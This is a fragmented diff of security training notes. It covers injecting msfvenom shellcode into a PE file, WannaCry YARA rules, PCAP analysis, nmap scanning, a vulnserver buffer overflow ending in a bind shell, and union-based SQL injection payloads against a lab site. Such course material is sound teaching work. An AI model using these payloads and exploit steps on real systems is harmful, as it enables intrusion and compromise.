953 | - | pe = pefile.PE(exe_path) |
953 | + | |
954 | ||
955 | - | print("[*] Original Section name = %s" % pe.sections[0].Name.decode('utf-8')) |
955 | + | |
956 | - | print("[*] Editing values...\n") |
956 | + | |
957 | ############## | |
958 | - | # Edit values |
958 | + | |
959 | - | pe.sections[0].Name = ".axc".encode() |
959 | + | |
960 | Quick Google search for "wannacry ransomeware analysis" | |
961 | - | # Save the change in another executable |
961 | + | |
962 | - | new_exe_path = r"C:\Users\User\Desktop\new_putty.exe" |
962 | + | |
963 | - | pe.write(new_exe_path) |
963 | + | |
964 | https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/ | |
965 | - | # Check the values |
965 | + | |
966 | - | new_pe = pefile.PE(new_exe_path) |
966 | + | |
967 | - | print("[*] New Section name = %s" % new_pe.sections[0].Name.decode('utf-8')) |
967 | + | |
968 | - Yara Rule - | |
969 | ||
970 | ||
971 | Strings: | |
972 | $s1 = “Ooops, your files have been encrypted!” wide ascii nocase | |
973 | - | Code Injection |
973 | + | |
974 | - | Now, let’s try to inject code into the executable. Here we will inject a shellcode at the entry point. It will corrupt the executable as we will overwrite the orginal code to execute the shellcode. To do this, we will use the set_bytes_at_offset() method. It overwrite the bytes at the given file offset with the given string, it takes 2 arguments: |
974 | + | |
975 | $s4 = “WANNACRY” wide ascii nocase | |
976 | - | Offset, containing the offset where we want to write the data |
976 | + | |
977 | - | Data, the data… |
977 | + | |
978 | ||
979 | - | import pefile |
979 | + | |
980 | ||
981 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
981 | + | |
982 | - | pe = pefile.PE(exe_path) |
982 | + | |
983 | ||
984 | - | # msfvenom -p windows/messagebox -f py |
984 | + | |
985 | - | # Payload size: 272 bytes |
985 | + | |
986 | - | # Final size of py file: 1308 bytes |
986 | + | |
987 | - | shellcode = bytes(b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9") |
987 | + | |
988 | - | shellcode += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" |
988 | + | |
989 | - | shellcode += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" |
989 | + | |
990 | - | shellcode += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" |
990 | + | |
991 | - | shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" |
991 | + | |
992 | - | shellcode += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" |
992 | + | |
993 | - | shellcode += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" |
993 | + | |
994 | - | shellcode += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" |
994 | + | |
995 | - | shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" |
995 | + | |
996 | - | shellcode += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" |
996 | + | |
997 | - | shellcode += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e" |
997 | + | |
998 | - | shellcode += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" |
998 | + | |
999 | - | shellcode += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" |
999 | + | |
1000 | - | shellcode += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" |
1000 | + | |
1001 | - | shellcode += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" |
1001 | + | |
1002 | - | shellcode += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68" |
1002 | + | |
1003 | - | shellcode += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c" |
1003 | + | |
1004 | - | shellcode += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46" |
1004 | + | |
1005 | - | shellcode += b"\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48" |
1005 | + | |
1006 | - | shellcode += b"\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2" |
1006 | + | |
1007 | - | shellcode += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" |
1007 | + | Let's see if we can get yara working. |
1008 | ||
1009 | - | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint |
1009 | + | |
1010 | - | print("[*] Writting %d bytes at offset %s" % (len(shellcode), hex(ep))) |
1010 | + | |
1011 | - | pe.set_bytes_at_offset(ep, shellcode) |
1011 | + | |
1012 | ||
1013 | - | new_exe_path = r"/home/sempra/j0e/new_putty.exe" |
1013 | + | |
1014 | - | pe.write(new_exe_path) |
1014 | + | |
1015 | ---------------------------Type This----------------------------------- | |
1016 | - | By executing the new executable, you should see a message box indicating that the injection was successful. |
1016 | + | |
1017 | nano wannacry_1.yar | |
1018 | - | Note: To generate the shellcode I used Metasploit. |
1018 | + | |
1019 | ---------------------------Paste This----------------------------------- | |
1020 | - | Conclusion |
1020 | + | |
1021 | - | There are many other features you should try like matching PEiD signatures, but you should play be able to play with it on your own now. |
1021 | + | |
1022 | meta: | |
1023 | author = "Joshua Cannell" | |
1024 | description = "WannaCry Ransomware strings" | |
1025 | weight = 100 | |
1026 | date = "2017-05-12" | |
1027 | ||
1028 | strings: | |
1029 | $s1 = "Ooops, your files have been encrypted!" wide ascii nocase | |
1030 | $s2 = "Wanna Decryptor" wide ascii nocase | |
1031 | $s3 = ".wcry" wide ascii nocase | |
1032 | $s4 = "WANNACRY" wide ascii nocase | |
1033 | $s5 = "WANACRY!" wide ascii nocase | |
1034 | $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase | |
1035 | ||
1036 | condition: | |
1037 | any of them | |
1038 | } | |
1039 | ||
1040 | ---------------------------------------------------------------------------- | |
1041 | ||
1042 | ||
1043 | ||
1044 | ||
1045 | ||
1046 | ---------------------------Type This----------------------------------- | |
1047 | ||
1048 | yara wannacry_1.yar wannacry.exe | |
1049 | ||
1050 | ----------------------------------------------------------------------- | |
1051 | ||
1052 | ||
1053 | ||
1054 | ||
1055 | ||
1056 | ---------------------------Type This----------------------------------- | |
1057 | ||
1058 | nano wannacry_2.yar | |
1059 | ||
1060 | ---------------------------Paste This----------------------------------- | |
1061 | rule wannacry_2{ | |
1062 | meta: | |
1063 | author = "Harold Ogden" | |
1064 | description = "WannaCry Ransomware Strings" | |
1065 | date = "2017-05-12" | |
1066 | weight = 100 | |
1067 | ||
1068 | strings: | |
1069 | $string1 = "msg/m_bulgarian.wnry" | |
1070 | $string2 = "msg/m_chinese (simplified).wnry" | |
1071 | $string3 = "msg/m_chinese (traditional).wnry" | |
1072 | $string4 = "msg/m_croatian.wnry" | |
1073 | $string5 = "msg/m_czech.wnry" | |
1074 | $string6 = "msg/m_danish.wnry" | |
1075 | $string7 = "msg/m_dutch.wnry" | |
1076 | $string8 = "msg/m_english.wnry" | |
1077 | $string9 = "msg/m_filipino.wnry" | |
1078 | $string10 = "msg/m_finnish.wnry" | |
1079 | $string11 = "msg/m_french.wnry" | |
1080 | $string12 = "msg/m_german.wnry" | |
1081 | $string13 = "msg/m_greek.wnry" | |
1082 | $string14 = "msg/m_indonesian.wnry" | |
1083 | $string15 = "msg/m_italian.wnry" | |
1084 | $string16 = "msg/m_japanese.wnry" | |
1085 | $string17 = "msg/m_korean.wnry" | |
1086 | $string18 = "msg/m_latvian.wnry" | |
1087 | $string19 = "msg/m_norwegian.wnry" | |
1088 | $string20 = "msg/m_polish.wnry" | |
1089 | $string21 = "msg/m_portuguese.wnry" | |
1090 | $string22 = "msg/m_romanian.wnry" | |
1091 | $string23 = "msg/m_russian.wnry" | |
1092 | $string24 = "msg/m_slovak.wnry" | |
1093 | $string25 = "msg/m_spanish.wnry" | |
1094 | $string26 = "msg/m_swedish.wnry" | |
1095 | - | mv wannacry.exe malware.pdf |
1095 | + | |
1096 | $string28 = "msg/m_vietnamese.wnry" | |
1097 | ||
1098 | ||
1099 | condition: | |
1100 | any of ($string*) | |
1101 | } | |
1102 | ---------------------------------------------------------------------------- | |
1103 | ||
1104 | ||
1105 | ||
1106 | ||
1107 | ||
1108 | ||
1109 | ||
1110 | ||
1111 | ---------------------------Type This----------------------------------- | |
1112 | ||
1113 | yara wannacry_2.yar wannacry.exe | |
1114 | ||
1115 | ----------------------------------------------------------------------- | |
1116 | ||
1117 | ||
1118 | ||
1119 | ---------------------------Type This----------------------------------- | |
1120 | cd ~ | |
1121 | ||
1122 | yara rules/index.yar wannacry.exe | |
1123 | ||
1124 | cd rules/ | |
1125 | ||
1126 | ls | |
1127 | ||
1128 | cd malware/ | |
1129 | ||
1130 | ls | grep -i ransom | |
1131 | ||
1132 | ls | grep -i rat | |
1133 | ||
1134 | ls | grep -i toolkit | |
1135 | ||
1136 | ls | grep -i apt | |
1137 | ||
1138 | cd .. | |
1139 | ||
1140 | cd capabilities/ | |
1141 | ||
1142 | ls | |
1143 | ||
1144 | cat capabilities.yar | |
1145 | ||
1146 | cd .. | |
1147 | ||
1148 | cd cve_rules/ | |
1149 | ||
1150 | ls | |
1151 | ||
1152 | cd .. | |
1153 | ||
1154 | ./index_gen.sh | |
1155 | ||
1156 | cd .. | |
1157 | ||
1158 | yara rules/index.yar wannacry.exe | |
1159 | ||
1160 | ||
1161 | ----------------------------------------------------------------------- | |
1162 | ||
1163 | - | https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/ |
1163 | + | |
1164 | ||
1165 | ########################### | |
1166 | # Intro to Threat Hunting # | |
1167 | ########################### | |
1168 | ||
1169 | ||
1170 | ||
1171 | ||
1172 | ||
1173 | ################################################################## | |
1174 | # Analyzing a PCAP Prads # | |
1175 | # Note: run as regular user # | |
1176 | ################################################################## | |
1177 | ||
1178 | ---------------------------Type this as a regular user---------------------------------- | |
1179 | cd ~/yourname | |
1180 | ||
1181 | mkdir pcap_analysis/ | |
1182 | ||
1183 | cd pcap_analysis/ | |
1184 | ||
1185 | mkdir prads | |
1186 | ||
1187 | cd prads | |
1188 | ||
1189 | wget http://45.63.104.73/suspicious-time.pcap | |
1190 | ||
1191 | prads -r suspicious-time.pcap -l prads-asset.log | |
1192 | ||
1193 | cat prads-asset.log | less | |
1194 | ||
1195 | cat prads-asset.log | grep SYN | grep -iE 'windows|linux' | |
1196 | ||
1197 | cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome' | |
1198 | ||
1199 | cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis' | |
1200 | ----------------------------------------------------------------------- | |
1201 | ||
1202 | ||
1203 | ||
1204 | ||
1205 | ################################## | |
1206 | # PCAP Analysis with ChaosReader # | |
1207 | # Note: run as regular user # | |
1208 | ################################## | |
1209 | ---------------------------Type this as a regular user---------------------------------- | |
1210 | - | Reference1: |
1210 | + | |
1211 | ||
1212 | ||
1213 | cd pcap_analysis/ | |
1214 | ||
1215 | mkdir chaos_reader/ | |
1216 | ||
1217 | cd chaos_reader/ | |
1218 | ||
1219 | wget http://45.63.104.73/suspicious-time.pcap | |
1220 | ||
1221 | wget http://45.63.104.73/chaosreader.pl | |
1222 | ||
1223 | perl chaosreader.pl suspicious-time.pcap | |
1224 | ||
1225 | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | |
1226 | ||
1227 | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr | |
1228 | ||
1229 | ||
1230 | for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u | |
1231 | ||
1232 | python -m SimpleHTTPServer | |
1233 | ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page ***** | |
1234 | ||
1235 | ------------------------------------------------------------------------ | |
1236 | ||
1237 | ||
1238 | ||
1239 | ||
1240 | - | vi am.py |
1240 | + | |
1241 | ||
1242 | ||
1243 | ||
1244 | ############################# | |
1245 | # PCAP Analysis with tshark # | |
1246 | # Note: run as regular user # | |
1247 | ############################# | |
1248 | ---------------------------Type this as a regular user--------------------------------- | |
1249 | cd ~/yourname | |
1250 | ||
1251 | mkdir pcap_analysis/ | |
1252 | ||
1253 | cd pcap_analysis/ | |
1254 | ||
1255 | mkdir tshark | |
1256 | ||
1257 | cd tshark | |
1258 | ||
1259 | wget http://45.63.104.73/suspicious-time.pcap | |
1260 | ||
1261 | tshark -i ens3 -r suspicious-time.pcap -qz io,phs | |
1262 | - | NOTE: |
1262 | + | |
1263 | - | McAfee is giving these yara rules - so add them to the hashes.txt file |
1263 | + | |
1264 | ||
1265 | tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq | |
1266 | - | https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/ |
1266 | + | |
1267 | tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name" | |
1268 | ||
1269 | ||
1270 | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | |
1271 | ||
1272 | whois rapidshare.com.eyu32.ru | |
1273 | ||
1274 | whois sploitme.com.cn | |
1275 | ||
1276 | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org' | |
1277 | ||
1278 | tshark -r suspicious-time.pcap -qz http_req,tree | |
1279 | ||
1280 | tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst | |
1281 | ||
1282 | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g' | |
1283 | ------------------------------------------------------------------------ | |
1284 | ||
1285 | ||
1286 | ||
1287 | ||
1288 | ||
1289 | ################################# | |
1290 | ----------- ############### # Day 3: Software Exploitation # ############### ----------- | |
1291 | ################################# | |
1292 | ||
1293 | ######################## | |
1294 | # Scanning Methodology # | |
1295 | ######################## | |
1296 | ||
1297 | - Ping Sweep | |
1298 | What's alive? | |
1299 | ------------ | |
1300 | ||
1301 | ---------------------------Type this command----------------------------------- | |
1302 | sudo nmap -sP 157.166.226.* | |
1303 | ------------------------------------------------------------------------------- | |
1304 | ||
1305 | ||
1306 | ||
1307 | -if -SP yields no results try: | |
1308 | ---------------------------Type this command----------------------------------- | |
1309 | sudo nmap -sL 157.166.226.* | |
1310 | ------------------------------------------------------------------------------- | |
1311 | ||
1312 | ||
1313 | ||
1314 | -Look for hostnames: | |
1315 | ---------------------------Type this command----------------------------------- | |
1316 | sudo nmap -sL 157.166.226.* | grep cnn | |
1317 | ------------------------------------------------------------------------------- | |
1318 | ||
1319 | ||
1320 | ||
1321 | - Port Scan | |
1322 | What's where? | |
1323 | ------------ | |
1324 | ---------------------------Type this command----------------------------------- | |
1325 | sudo nmap -sS 162.243.126.247 | |
1326 | ------------------------------------------------------------------------------- | |
1327 | ||
1328 | ||
1329 | ||
1330 | - Bannergrab/Version Query | |
1331 | What versions of software are running | |
1332 | ------------------------------------- | |
1333 | ||
1334 | ---------------------------Type this command----------------------------------- | |
1335 | sudo nmap -sV 45.63.104.73 | |
1336 | ------------------------------------------------------------------------------- | |
1337 | ||
1338 | ||
1339 | ||
1340 | ||
1341 | - Vulnerability Research | |
1342 | Lookup the banner versions for public exploits | |
1343 | ---------------------------------------------- | |
1344 | https://www.exploit-db.com/search | |
1345 | http://securityfocus.com/bid | |
1346 | https://packetstormsecurity.com/files/tags/exploit/ | |
1347 | ||
1348 | ||
1349 | ||
1350 | Network Penetration Testing Process (known vulnerabilities) | |
1351 | ----------------------------------------------------------- | |
1352 | ||
1353 | ||
1354 | 1. Ping Sweep: | |
1355 | The purpose of this step is to identify live hosts | |
1356 | ||
1357 | nmap -sP <ip-address/ip-range> | |
1358 | ||
1359 | ||
1360 | 2. Port Scan | |
1361 | Identify running services. We use the running services to map the network topology. | |
1362 | ||
1363 | nmap -sS <ip-address/ip-range> | |
1364 | ||
1365 | ||
1366 | 3. Bannergrab | |
1367 | Identify the version of version of software running on each port | |
1368 | ||
1369 | nmap -sV <ip-address/ip-range> | |
1370 | ||
1371 | ||
1372 | ||
1373 | 4. Vulnerability Research | |
1374 | Use the software version number to research and determine if it is out of date (vulnerable). | |
1375 | ||
1376 | exploit-db.com/search | |
1377 | ||
1378 | ||
1379 | ||
1380 | ||
1381 | ||
1382 | ||
1383 | ||
1384 | ||
1385 | ||
1386 | Skill Level 1. Run the scanners | |
1387 | ------------------------------- | |
1388 | Nexpose | |
1389 | Qualys | |
1390 | Retina | |
1391 | Nessus known vulnerabilities | |
1392 | OpenVas | |
1393 | Foundscan | |
1394 | GFI LanGuard | |
1395 | NCircle | |
1396 | ||
1397 | ||
1398 | Skill Level 2. Manual vulnerability validation (known vulnerabilities) | |
1399 | ----------------------------------------------------------------------- | |
1400 | ||
1401 | windows -> systeminfo | |
1402 | Linux-> dpkg -l | |
1403 | rpm -qa | |
1404 | ||
1405 | ||
1406 | ||
1407 | ||
1408 | ||
1409 | ||
1410 | ||
1411 | ##################################### | |
1412 | # Quick Stack Based Buffer Overflow # | |
1413 | ##################################### | |
1414 | ||
1415 | - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory) | |
1416 | http://45.63.104.73/ExploitLab.zip | |
1417 | http://45.63.104.73/nc-password-is-netcat.zip <--- save this file to your c:\windows\system32 directory | |
1418 | ||
1419 | ||
1420 | ||
1421 | - Extract the ExploitLab.zip file to your Desktop | |
1422 | ||
1423 | - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe | |
1424 | ||
1425 | - Open a new command prompt and type: | |
1426 | ||
1427 | ---------------------------Type This----------------------------------- | |
1428 | nc localhost 9999 | |
1429 | -------------------------------------------------------------------------- | |
1430 | ||
1431 | - In the new command prompt window where you ran nc type: | |
1432 | HELP | |
1433 | ||
1434 | - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts | |
1435 | - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++ | |
1436 | ||
1437 | - Now double-click on 1-simplefuzzer.py | |
1438 | - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on. | |
1439 | ||
1440 | ||
1441 | - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on. | |
1442 | ||
1443 | - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe | |
1444 | ||
1445 | - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py. | |
1446 | ||
1447 | - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s). | |
1448 | ||
1449 | - Now isolate the crash by restarting your debugger and running script 2-3000chars.py | |
1450 | ||
1451 | - Calculate the distance to EIP by running script 3-3000chars.py | |
1452 | - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338 | |
1453 | ||
1454 | 4-count-chars-to-EIP.py | |
1455 | - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39) | |
1456 | - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it | |
1457 | ||
1458 | 5-2006char-eip-check.py | |
1459 | - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242 | |
1460 | ||
1461 | 6-jmp-esp.py | |
1462 | - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll | |
1463 | ||
1464 | 7-first-exploit | |
1465 | - In this script we actually do the stack overflow and launch a bind shell on port 4444 | |
1466 | ||
1467 | 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host. | |
1468 | ||
1469 | ||
1470 | ------------------------------ | |
1471 | ||
1472 | ||
1473 | ||
1474 | Skill Level 3. Identify unknown vulnerabilities | |
1475 | ----------------------------------------------- | |
1476 | ||
1477 | - App Type | |
1478 | ------------ | |
1479 | Stand Alone Client Server Web App | |
1480 | ||
1481 | ***(vulnerserver.exe)*** | |
1482 | ||
1483 | ||
1484 | - Input TYpe | |
1485 | ------------- | |
1486 | FIle logical network port Browser | |
1487 | Keyboard | |
1488 | Mouse | |
1489 | ||
1490 | ||
1491 | ||
1492 | ***(9999)*** | |
1493 | ||
1494 | ||
1495 | - Map & Fuzz app entry points: | |
1496 | ------------------------------ | |
1497 | - Commands ***(commands)*** | |
1498 | - Methods | |
1499 | - Verbs | |
1500 | - functions | |
1501 | - subroutines | |
1502 | - controllers | |
1503 | ||
1504 | ||
1505 | - Isolate the crash | |
1506 | - | sudo nmap -sV 162.243.126.247 |
1506 | + | |
1507 | App seems to reliably crash at TRUN 2100 | |
1508 | ||
1509 | ||
1510 | - Calculate the distance to EIP | |
1511 | ------------------------------- | |
1512 | Distance to EIP is 2006 | |
1513 | ||
1514 | We found that EIP was populated with the value: 396F4338 | |
1515 | 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern | |
1516 | ||
1517 | An online tool that we can use for this is: | |
1518 | https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html | |
1519 | ||
1520 | ||
1521 | ||
1522 | - Redirect Program Execution | |
1523 | ---------------------------- | |
1524 | A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction. | |
1525 | We learned that we control EAX and ESP in script 2. | |
1526 | ||
1527 | ||
1528 | ||
1529 | ||
1530 | ||
1531 | - Implement Shellcode | |
1532 | --------------------- | |
1533 | There are only 2 things that can go wrong with shellcode: | |
1534 | - Not enough space | |
1535 | - Bad characters | |
1536 | ||
1537 | ||
1538 | ||
1539 | ||
1540 | ||
1541 | ||
1542 | ######################################### | |
1543 | # FreeFloat FTP Server Exploit Analysis # | |
1544 | ######################################### | |
1545 | ||
1546 | ||
1547 | ||
1548 | Analyze the following exploit code: | |
1549 | https://www.exploit-db.com/exploits/15689/ | |
1550 | ||
1551 | 1. What is the target platform that this exploit works against? | |
1552 | 2. What is the variable name for the distance to EIP? | |
1553 | 3. What is the actual distance to EIP in bytes? | |
1554 | 4. Describe what is happening in the variable ‘junk2’ | |
1555 | ||
1556 | ||
1557 | ||
1558 | ||
1559 | Analysis of the training walk-through based on EID: 15689: | |
1560 | http://45.63.104.73/ff.zip | |
1561 | ||
1562 | ||
1563 | ||
1564 | ||
1565 | ff1.py | |
1566 | 1. What does the sys module do? | |
1567 | 2. What is sys.argv[1] and sys.argv[2]? | |
1568 | 3. What application entry point is being attacked in this script? | |
1569 | ||
1570 | ||
1571 | ||
1572 | ff2.py | |
1573 | 1. Explain what is happening in lines 18 - 20 doing. | |
1574 | 2. What is pattern_create.rb doing and where can I find it? | |
1575 | 3. Why can’t I just double click the file to run this script? | |
1576 | ||
1577 | ||
1578 | ||
1579 | ff3.py | |
1580 | 1. Explain what is happening in lines 17 - to 25? | |
1581 | 2. Explain what is happening in lines 30 - to 32? | |
1582 | 3. Why is everything below line 35 commented out? | |
1583 | ||
1584 | ||
1585 | ||
1586 | ff4.py | |
1587 | 1. Explain what is happening in lines 13 to 15. | |
1588 | 2. Explain what is happening in line 19. | |
1589 | 3. What is the total length of buff? | |
1590 | ||
1591 | ||
1592 | ||
1593 | ff5.py | |
1594 | 1. Explain what is happening in line 15. | |
1595 | 2. What is struct.pack? | |
1596 | 3. How big is the shellcode in this script? | |
1597 | ||
1598 | ||
1599 | ||
1600 | ff6.py | |
1601 | 1. What is the distance to EIP? | |
1602 | 2. How big is the shellcode in this script? | |
1603 | 3. What is the total byte length of the data being sent to this app? | |
1604 | ||
1605 | ||
1606 | ||
1607 | ||
1608 | ff7.py | |
1609 | 1. What is a tuple in python? | |
1610 | 2. How big is the shellcode in this script? | |
1611 | 3. Did your app crash in from this script? | |
1612 | ||
1613 | ||
1614 | ||
1615 | ||
1616 | ff8.py | |
1617 | 1. How big is the shellcode in this script? | |
1618 | 2. What is try/except in python? | |
1619 | 3. What is socket.SOCK_STREAM in Python? | |
1620 | ||
1621 | ||
1622 | ||
1623 | ff9.py | |
1624 | 1. What is going on in lines 19 and 20? | |
1625 | 2. What is the length of the NOPs? | |
1626 | 3. From what DLL did the address of the JMP ESP come from? | |
1627 | ||
1628 | ||
1629 | ||
1630 | ||
1631 | ff010.py | |
1632 | 1. What is going on in lines 18 - 20? | |
1633 | 2. What is going on in lines 29 - 32? | |
1634 | 3. How would a stack adjustment help this script? | |
1635 | ||
1636 | ||
1637 | ||
1638 | ||
1639 | ########################## | |
1640 | ----------- ############### # Day 4: Web App Testing ############### ----------- | |
1641 | ########################## | |
1642 | ||
1643 | ||
1644 | ||
1645 | ################################## | |
1646 | # Basic: Web Application Testing # | |
1647 | ################################## | |
1648 | ||
1649 | Most people are going to tell you reference the OWASP Testing guide. | |
1650 | https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents | |
1651 | ||
1652 | I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website. | |
1653 | ||
1654 | ||
1655 | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. | |
1656 | ||
1657 | 1. Does the website talk to a DB? | |
1658 | - Look for parameter passing (ex: site.com/page.php?id=4) | |
1659 | - If yes - try SQL Injection | |
1660 | ||
1661 | 2. Can I or someone else see what I type? | |
1662 | - If yes - try XSS | |
1663 | ||
1664 | 3. Does the page reference a file? | |
1665 | - If yes - try LFI/RFI | |
1666 | ||
1667 | Let's start with some manual testing against 45.63.104.73 | |
1668 | ||
1669 | ||
1670 | ####################### | |
1671 | # Attacking PHP/MySQL # | |
1672 | ####################### | |
1673 | ||
1674 | Go to LAMP Target homepage | |
1675 | https://phpapp.infosecaddicts.com/ | |
1676 | ||
1677 | ||
1678 | ||
1679 | Clicking on the Acer Link: | |
1680 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer | |
1681 | ||
1682 | - Found parameter passing (answer yes to question 1) | |
1683 | - Insert ' to test for SQLI | |
1684 | ||
1685 | ---------------------------Type This----------------------------------- | |
1686 | ||
1687 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' | |
1688 | ||
1689 | ----------------------------------------------------------------------- | |
1690 | ||
1691 | Page returns the following error: | |
1692 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1 | |
1693 | ||
1694 | ||
1695 | ||
1696 | In order to perform union-based sql injection - we must first determine the number of columns in this query. | |
1697 | We do this using the ORDER BY | |
1698 | ||
1699 | ---------------------------Type This----------------------------------- | |
1700 | ||
1701 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- + | |
1702 | ----------------------------------------------------------------------- | |
1703 | ||
1704 | Page returns the following error: | |
1705 | Unknown column '100' in 'order clause' | |
1706 | ||
1707 | ||
1708 | ---------------------------Type This----------------------------------- | |
1709 | ||
1710 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- + | |
1711 | ----------------------------------------------------------------------- | |
1712 | ||
1713 | Page returns the following error: | |
1714 | Unknown column '50' in 'order clause' | |
1715 | ||
1716 | ||
1717 | ---------------------------Type This----------------------------------- | |
1718 | ||
1719 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- + | |
1720 | ----------------------------------------------------------------------- | |
1721 | ||
1722 | Page returns the following error: | |
1723 | Unknown column '25' in 'order clause' | |
1724 | ||
1725 | ||
1726 | ---------------------------Type This----------------------------------- | |
1727 | ||
1728 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- + | |
1729 | ----------------------------------------------------------------------- | |
1730 | ||
1731 | Page returns the following error: | |
1732 | Unknown column '12' in 'order clause' | |
1733 | ||
1734 | ||
1735 | ---------------------------Type This----------------------------------- | |
1736 | ||
1737 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- + | |
1738 | ----------------------------------------------------------------------- | |
1739 | ||
1740 | ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns | |
1741 | ||
1742 | ||
1743 | ||
1744 | Now we build out the union all select statement with the correct number of columns | |
1745 | ||
1746 | Reference: | |
1747 | http://www.techonthenet.com/sql/union.php | |
1748 | ||
1749 | ||
1750 | ---------------------------Type This----------------------------------- | |
1751 | ||
1752 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- + | |
1753 | ----------------------------------------------------------------------- | |
1754 | ||
1755 | ||
1756 | ||
